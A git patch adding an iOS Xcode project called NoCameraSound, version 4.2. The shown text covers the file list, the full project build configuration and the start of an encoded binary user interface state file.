From 393db7ada2a9a959a7ec1919addedde3dcc69dc2 Mon Sep 17 00:00:00 2001 From: straight-tamago <121408851+straight-tamago@users.noreply.github.com> Date: Tue, 27 Dec 2022 15:58:10 +0900 Subject: [PATCH] 4.2 --- NoCameraSound.xcodeproj/project.pbxproj | 393 ++++++++++++++++++ .../contents.xcworkspacedata | 7 + .../xcshareddata/IDEWorkspaceChecks.plist | 8 + .../UserInterfaceState.xcuserstate | Bin 0 -> 52908 bytes .../xcdebugger/Breakpoints_v2.xcbkptlist | 24 ++ .../xcschemes/xcschememanagement.plist | 14 + NoCameraSound/AppDelegate.h | 14 + NoCameraSound/AppDelegate.m | 40 ++ .../AccentColor.colorset/Contents.json | 11 + .../AppIcon.appiconset/Contents.json | 14 + .../satsuei_kinshi_illust_1108.png | Bin 0 -> 20337 bytes NoCameraSound/Assets.xcassets/Contents.json | 6 + .../Base.lproj/LaunchScreen.storyboard | 25 ++ NoCameraSound/Base.lproj/Main.storyboard | 85 ++++ NoCameraSound/Info.plist | 25 ++ NoCameraSound/Localizable.strings | 7 + NoCameraSound/SceneDelegate.h | 15 + NoCameraSound/SceneDelegate.m | 57 +++ NoCameraSound/ViewController.h | 14 + NoCameraSound/ViewController.m | 98 +++++ NoCameraSound/en.lproj/Main.strings | 12 + NoCameraSound/ja.lproj/LaunchScreen.strings | 1 + NoCameraSound/ja.lproj/Localizable.strings | 15 + NoCameraSound/ja.lproj/Main.strings | 12 + NoCameraSound/main.m | 18 + NoCameraSound/poc.h | 15 + NoCameraSound/poc.m | 366 ++++++++++++++++ build.command | 42 ++ entitlements.plist | 38 ++ 29 files changed, 1376 insertions(+) create mode 100644 NoCameraSound.xcodeproj/project.pbxproj create mode 100644 NoCameraSound.xcodeproj/project.xcworkspace/contents.xcworkspacedata create mode 100644 NoCameraSound.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist create mode 100644 NoCameraSound.xcodeproj/project.xcworkspace/xcuserdata/mini.xcuserdatad/UserInterfaceState.xcuserstate create mode 100644 NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist create mode 100644 NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcschemes/xcschememanagement.plist create mode 100644 NoCameraSound/AppDelegate.h create mode 100644 NoCameraSound/AppDelegate.m create mode 100644 NoCameraSound/Assets.xcassets/AccentColor.colorset/Contents.json create mode 100644 NoCameraSound/Assets.xcassets/AppIcon.appiconset/Contents.json create mode 100644 NoCameraSound/Assets.xcassets/AppIcon.appiconset/satsuei_kinshi_illust_1108.png create mode 100644 NoCameraSound/Assets.xcassets/Contents.json create mode 100644 NoCameraSound/Base.lproj/LaunchScreen.storyboard create mode 100644 NoCameraSound/Base.lproj/Main.storyboard create mode 100644 NoCameraSound/Info.plist create mode 100644 NoCameraSound/Localizable.strings create mode 100644 NoCameraSound/SceneDelegate.h create mode 100644 NoCameraSound/SceneDelegate.m create mode 100644 NoCameraSound/ViewController.h create mode 100644 NoCameraSound/ViewController.m create mode 100644 NoCameraSound/en.lproj/Main.strings create mode 100644 NoCameraSound/ja.lproj/LaunchScreen.strings create mode 100644 NoCameraSound/ja.lproj/Localizable.strings create mode 100644 NoCameraSound/ja.lproj/Main.strings create mode 100644 NoCameraSound/main.m create mode 100644 NoCameraSound/poc.h create mode 100644 NoCameraSound/poc.m create mode 100755 build.command create mode 100644 entitlements.plist diff --git a/NoCameraSound.xcodeproj/project.pbxproj b/NoCameraSound.xcodeproj/project.pbxproj new file mode 100644 index 0000000..520b8cd --- /dev/null +++ b/NoCameraSound.xcodeproj/project.pbxproj @@ -0,0 +1,393 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 56; + objects = { + +/* Begin PBXBuildFile section */ + 3D369D632958FB5300A6E7C4 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 3D369D622958FB5300A6E7C4 /* AppDelegate.m */; }; + 3D369D662958FB5300A6E7C4 /* SceneDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 3D369D652958FB5300A6E7C4 /* SceneDelegate.m */; }; + 3D369D692958FB5300A6E7C4 /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 3D369D682958FB5300A6E7C4 /* ViewController.m */; }; + 3D369D6C2958FB5300A6E7C4 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 3D369D6A2958FB5300A6E7C4 /* Main.storyboard */; }; + 3D369D712958FB5400A6E7C4 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 3D369D6F2958FB5400A6E7C4 /* LaunchScreen.storyboard */; }; + 3D369D742958FB5400A6E7C4 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 3D369D732958FB5400A6E7C4 /* main.m */; }; + 3D369D7F29590DFD00A6E7C4 /* poc.m in Sources */ = {isa = PBXBuildFile; fileRef = 3D369D7E29590DFD00A6E7C4 /* poc.m */; }; + 3D369D8E2959C83F00A6E7C4 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 3D369D8D2959C83F00A6E7C4 /* Assets.xcassets */; }; + 3D9B1A9D295A1C540025A0E0 /* Localizable.strings in Resources */ = {isa = PBXBuildFile; fileRef = 3D9B1A9F295A1C540025A0E0 /* Localizable.strings */; }; +/* End PBXBuildFile section */ + +/* Begin PBXFileReference section */ + 3D369D5E2958FB5300A6E7C4 /* NoCameraSound.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = NoCameraSound.app; sourceTree = BUILT_PRODUCTS_DIR; }; + 3D369D612958FB5300A6E7C4 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; + 3D369D622958FB5300A6E7C4 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; + 3D369D642958FB5300A6E7C4 /* SceneDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SceneDelegate.h; sourceTree = ""; }; + 3D369D652958FB5300A6E7C4 /* SceneDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SceneDelegate.m; sourceTree = ""; }; + 3D369D672958FB5300A6E7C4 /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = ""; }; + 3D369D682958FB5300A6E7C4 /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = ""; }; + 3D369D6B2958FB5300A6E7C4 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; + 3D369D702958FB5400A6E7C4 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; + 3D369D722958FB5400A6E7C4 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; + 3D369D732958FB5400A6E7C4 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; + 3D369D7D29590DF900A6E7C4 /* poc.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = poc.h; sourceTree = ""; }; + 3D369D7E29590DFD00A6E7C4 /* poc.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = poc.m; sourceTree = ""; }; + 3D369D8D2959C83F00A6E7C4 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; name = Assets.xcassets; path = "../../../Downloads/AppIcons-3/Assets.xcassets"; sourceTree = ""; }; + 3D9B1A99295A1C230025A0E0 /* ja */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = ja; path = ja.lproj/Main.strings; sourceTree = ""; }; + 3D9B1A9A295A1C240025A0E0 /* ja */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = ja; path = ja.lproj/LaunchScreen.strings; sourceTree = ""; }; + 3D9B1A9E295A1C540025A0E0 /* ja */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = ja; path = ja.lproj/Localizable.strings; sourceTree = ""; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 3D369D5B2958FB5300A6E7C4 /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 3D369D552958FB5300A6E7C4 = { + isa = PBXGroup; + children = ( + 3D369D602958FB5300A6E7C4 /* NoCameraSound */, + 3D369D5F2958FB5300A6E7C4 /* Products */, + ); + sourceTree = ""; + }; + 3D369D5F2958FB5300A6E7C4 /* Products */ = { + isa = PBXGroup; + children = ( + 3D369D5E2958FB5300A6E7C4 /* NoCameraSound.app */, + ); + name = Products; + sourceTree = ""; + }; + 3D369D602958FB5300A6E7C4 /* NoCameraSound */ = { + isa = PBXGroup; + children = ( + 3D9B1A9F295A1C540025A0E0 /* Localizable.strings */, + 3D369D612958FB5300A6E7C4 /* AppDelegate.h */, + 3D369D622958FB5300A6E7C4 /* AppDelegate.m */, + 3D369D642958FB5300A6E7C4 /* SceneDelegate.h */, + 3D369D652958FB5300A6E7C4 /* SceneDelegate.m */, + 3D369D672958FB5300A6E7C4 /* ViewController.h */, + 3D369D682958FB5300A6E7C4 /* ViewController.m */, + 3D369D6A2958FB5300A6E7C4 /* Main.storyboard */, + 3D369D6F2958FB5400A6E7C4 /* LaunchScreen.storyboard */, + 3D369D722958FB5400A6E7C4 /* Info.plist */, + 3D369D732958FB5400A6E7C4 /* main.m */, + 3D369D7D29590DF900A6E7C4 /* poc.h */, + 3D369D7E29590DFD00A6E7C4 /* poc.m */, + 3D369D8D2959C83F00A6E7C4 /* Assets.xcassets */, + ); + path = NoCameraSound; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 3D369D5D2958FB5300A6E7C4 /* NoCameraSound */ = { + isa = PBXNativeTarget; + buildConfigurationList = 3D369D772958FB5400A6E7C4 /* Build configuration list for PBXNativeTarget "NoCameraSound" */; + buildPhases = ( + 3D369D5A2958FB5300A6E7C4 /* Sources */, + 3D369D5B2958FB5300A6E7C4 /* Frameworks */, + 3D369D5C2958FB5300A6E7C4 /* Resources */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = NoCameraSound; + productName = NoCameraSound; + productReference = 3D369D5E2958FB5300A6E7C4 /* NoCameraSound.app */; + productType = "com.apple.product-type.application"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 3D369D562958FB5300A6E7C4 /* Project object */ = { + isa = PBXProject; + attributes = { + BuildIndependentTargetsInParallel = 1; + LastUpgradeCheck = 1400; + TargetAttributes = { + 3D369D5D2958FB5300A6E7C4 = { + CreatedOnToolsVersion = 14.0.1; + }; + }; + }; + buildConfigurationList = 3D369D592958FB5300A6E7C4 /* Build configuration list for PBXProject "NoCameraSound" */; + compatibilityVersion = "Xcode 14.0"; + developmentRegion = en; + hasScannedForEncodings = 0; + knownRegions = ( + en, + Base, + ja, + ); + mainGroup = 3D369D552958FB5300A6E7C4; + productRefGroup = 3D369D5F2958FB5300A6E7C4 /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 3D369D5D2958FB5300A6E7C4 /* NoCameraSound */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXResourcesBuildPhase section */ + 3D369D5C2958FB5300A6E7C4 /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 3D369D712958FB5400A6E7C4 /* LaunchScreen.storyboard in Resources */, + 3D9B1A9D295A1C540025A0E0 /* Localizable.strings in Resources */, + 3D369D8E2959C83F00A6E7C4 /* Assets.xcassets in Resources */, + 3D369D6C2958FB5300A6E7C4 /* Main.storyboard in Resources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXResourcesBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 3D369D5A2958FB5300A6E7C4 /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 3D369D692958FB5300A6E7C4 /* ViewController.m in Sources */, + 3D369D7F29590DFD00A6E7C4 /* poc.m in Sources */, + 3D369D632958FB5300A6E7C4 /* AppDelegate.m in Sources */, + 3D369D742958FB5400A6E7C4 /* main.m in Sources */, + 3D369D662958FB5300A6E7C4 /* SceneDelegate.m in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin PBXVariantGroup section */ + 3D369D6A2958FB5300A6E7C4 /* Main.storyboard */ = { + isa = PBXVariantGroup; + children = ( + 3D369D6B2958FB5300A6E7C4 /* Base */, + 3D9B1A99295A1C230025A0E0 /* ja */, + ); + name = Main.storyboard; + sourceTree = ""; + }; + 3D369D6F2958FB5400A6E7C4 /* LaunchScreen.storyboard */ = { + isa = PBXVariantGroup; + children = ( + 3D369D702958FB5400A6E7C4 /* Base */, + 3D9B1A9A295A1C240025A0E0 /* ja */, + ); + name = LaunchScreen.storyboard; + sourceTree = ""; + }; + 3D9B1A9F295A1C540025A0E0 /* Localizable.strings */ = { + isa = PBXVariantGroup; + children = ( + 3D9B1A9E295A1C540025A0E0 /* ja */, + ); + name = Localizable.strings; + sourceTree = ""; + }; +/* End PBXVariantGroup section */ + +/* Begin XCBuildConfiguration section */ + 3D369D752958FB5400A6E7C4 /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_COMMA = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_STRICT_PROTOTYPES = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CLANG_WARN_UNREACHABLE_CODE = YES; + CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = dwarf; + ENABLE_STRICT_OBJC_MSGSEND = YES; + ENABLE_TESTABILITY = YES; + GCC_C_LANGUAGE_STANDARD = gnu11; + GCC_DYNAMIC_NO_PIC = NO; + GCC_NO_COMMON_BLOCKS = YES; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNDECLARED_SELECTOR = YES; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + IPHONEOS_DEPLOYMENT_TARGET = 16.0; + MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; + MTL_FAST_MATH = YES; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = iphoneos; + }; + name = Debug; + }; + 3D369D762958FB5400A6E7C4 /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_COMMA = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_STRICT_PROTOTYPES = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CLANG_WARN_UNREACHABLE_CODE = YES; + CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; + ENABLE_NS_ASSERTIONS = NO; + ENABLE_STRICT_OBJC_MSGSEND = YES; + GCC_C_LANGUAGE_STANDARD = gnu11; + GCC_NO_COMMON_BLOCKS = YES; + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNDECLARED_SELECTOR = YES; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + IPHONEOS_DEPLOYMENT_TARGET = 16.0; + MTL_ENABLE_DEBUG_INFO = NO; + MTL_FAST_MATH = YES; + SDKROOT = iphoneos; + VALIDATE_PRODUCT = YES; + }; + name = Release; + }; + 3D369D782958FB5400A6E7C4 /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + GENERATE_INFOPLIST_FILE = YES; + INFOPLIST_FILE = NoCameraSound/Info.plist; + INFOPLIST_KEY_CFBundleDisplayName = NoCameraSound; + INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; + INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen; + INFOPLIST_KEY_UIMainStoryboardFile = Main; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; + IPHONEOS_DEPLOYMENT_TARGET = 13.0; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + ); + MARKETING_VERSION = 4.2; + PRODUCT_BUNDLE_IDENTIFIER = "com.straight-tamago.NoCameraSound"; + PRODUCT_NAME = "$(TARGET_NAME)"; + SWIFT_EMIT_LOC_STRINGS = YES; + TARGETED_DEVICE_FAMILY = "1,2"; + }; + name = Debug; + }; + 3D369D792958FB5400A6E7C4 /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + GENERATE_INFOPLIST_FILE = YES; + INFOPLIST_FILE = NoCameraSound/Info.plist; + INFOPLIST_KEY_CFBundleDisplayName = NoCameraSound; + INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; + INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen; + INFOPLIST_KEY_UIMainStoryboardFile = Main; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; + IPHONEOS_DEPLOYMENT_TARGET = 13.0; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + ); + MARKETING_VERSION = 4.2; + PRODUCT_BUNDLE_IDENTIFIER = "com.straight-tamago.NoCameraSound"; + PRODUCT_NAME = "$(TARGET_NAME)"; + SWIFT_EMIT_LOC_STRINGS = YES; + TARGETED_DEVICE_FAMILY = "1,2"; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 3D369D592958FB5300A6E7C4 /* Build configuration list for PBXProject "NoCameraSound" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 3D369D752958FB5400A6E7C4 /* Debug */, + 3D369D762958FB5400A6E7C4 /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 3D369D772958FB5400A6E7C4 /* Build configuration list for PBXNativeTarget "NoCameraSound" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 3D369D782958FB5400A6E7C4 /* Debug */, + 3D369D792958FB5400A6E7C4 /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; +/* End XCConfigurationList section */ + }; + rootObject = 3D369D562958FB5300A6E7C4 /* Project object */; +} diff --git a/NoCameraSound.xcodeproj/project.xcworkspace/contents.xcworkspacedata b/NoCameraSound.xcodeproj/project.xcworkspace/contents.xcworkspacedata new file mode 100644 index 0000000..919434a --- /dev/null +++ b/NoCameraSound.xcodeproj/project.xcworkspace/contents.xcworkspacedata @@ -0,0 +1,7 @@ + + + + + diff --git a/NoCameraSound.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist b/NoCameraSound.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist new file mode 100644 index 0000000..18d9810 --- /dev/null +++ b/NoCameraSound.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist @@ -0,0 +1,8 @@ + + + + + IDEDidComputeMac32BitWarning + + + diff --git a/NoCameraSound.xcodeproj/project.xcworkspace/xcuserdata/mini.xcuserdatad/UserInterfaceState.xcuserstate b/NoCameraSound.xcodeproj/project.xcworkspace/xcuserdata/mini.xcuserdatad/UserInterfaceState.xcuserstate new file mode 100644 index 0000000000000000000000000000000000000000..97ef55b5b55ed9abdbf953b6cd613eaf15daca02 GIT binary patch literal 52908 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 